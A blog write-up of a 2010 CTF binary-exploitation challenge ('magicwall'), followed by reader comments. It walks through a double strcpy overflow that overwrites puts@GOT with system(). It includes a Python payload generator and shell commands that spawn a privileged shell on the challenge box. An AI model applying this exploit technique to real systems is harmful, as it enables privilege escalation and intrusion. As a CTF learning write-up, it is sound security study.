Monday, November 01, 2010 CTF - Challenge 19 "magicwall" writeup, double strcpy

I did not solve challenge 19 "magicwall" during the CTF - my friend Ivanlef0u (@Ivanlef0u) did - but since Fluxfingers (@fluxfingers) kept the CTF online, I had the chance to pwn it too! Just like challenge 20 "sscat", it was binary exploitation.

Hellman (@hellman1908) already made a very good writeup, I just wanted to share my different method.


Connect to the server with:
ssh -p 7022 # pass ctf
SCP the magicwall binary, quickly reverse it to obtain the C source code of its main().

The protections here are ASCII-armor (libc mapped in 0x00------) and non executable stack. There is no ASLR.

The program needs 2 arguments, the first one is a string that will be xored with constant 0xdefaced and the second one is the signed sum of every character after the xor operation:
  *(_DWORD *)secret = 0xDEFACEDu;
  if ( argc > 2 )
    len = strlen(argv[1]);
    givensum = atoi(argv[2]);
    dest = buf;
    for ( i = 0; i < len; ++i )
      argv[1][i] ^= secret[i % 4];
      if ( !(i & 3) )
        sum += argv[1][i];
Then it uses two insecure strcpy(), the second one being triggered only if you provided the correct sum:
    strcpy(dest, argv[1]);
    if ( givensum == sum )
      strcpy(dest, argv[1]);
There is an obvious stack overflow here, but it is protected by a Stack Smashing Protector (SSP):
    if ( cookie != global_protector )
      puts("This move was absolutely NOT cool!");
The global_protector being securely initialized, nothing on this side.

main() stack is as follow:
  char buf[136]; // [sp+40h] [bp-98h]@3
  char *dest; // [sp+C8h] [bp-10h]@3
  int cookie; // [sp+CCh] [bp-Ch]@1
By using the first strcpy() we can overflow and control dest pointer. Therefore the second strcpy() gives us an arbitrary write. What could be interesting to rewrite?
  • return address of main, but we need a 1 byte bruteforce of the cookie as hellman explains it
  • return address of the second strcpy, that's what hellman used, very cool
  • the address of puts in the GOT

I chose to rewrite the address of puts@GOT by the address of system(). Doing so would give us:
      system("This move was absolutely NOT cool!");
Then we just need to create a program called This, add the current directory to the PATH, and it will get executed!


Since there is no ASLR, we can quickly get the address of system() with gdb:
gdb$ p &system
$1 = (<text variable, no debug info> *) 0x001672a0 <system>
Our payload could be:
address of system + PADDING + rewrite DEST with address of puts@GOT
However the address of system() is ASCII-armored so the 0x00 will break the strcpy(). No problem, we can just put it at the end and move back the strcpy:
PADDING + (rewrite DEST with address of puts@GOT -136 -4) + address of system
It will write the address of system() exactly where we want: in puts@GOT.

We also need a small wrapper for our payload to pass the xor and also to compute the signed sum:
#!/usr/bin/env python
from sys import argv
from struct import pack,unpack

def xor(a,b):
  return "".join(chr(ord(a[i])^ord(b[i%len(b)])) for i in range(len(a)))

#                       puts@GOT                     system@libc
a = "A"*136 + pack("<I",0x80499d0-136-4) + pack("<I",0x001672a0)

if len(argv)>1:
  print sum(unpack("<b",a[i])[0] for i in range(len(a)) if i%4==0)
  print xor(a, pack("<I",0xdefaced))
Calling with one arg returns the payload, calling with two args returns the signed sum. Script is available here.

And here we go:
ctf:~$ echo -ne '#!/bin/sh\n/bin/sh' > This ; chmod a+x This
ctf:~$ PATH=".:$PATH" ~/magicwall "$(python" "$(python s)"
$ id
uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)

Other readings

This double strcpy() thing made me rethink of a very good reading about ROP by Sang Kil: Advanced Return-Oriented Exploit. A must-read if you have not already :)


  1. > PADDING + (rewrite DEST with address of puts@GOT -136 -4) + address of system

    really nice & tricky ;)
    you've opened my eyes

  2. Hi,

    great writeup, very interesting to read.
    How you were able to get the source of the file,
    this looks not like decompilated code from the binary. You just say "quickly reverse it", but I see now quick way :)

  3. Thanks!

    Softwares such as Hex-Rays plugin for IDA Pro can decompile from disassembly. Then, you rename and change the type of a few functions and variables, and your result can be close to the original source code.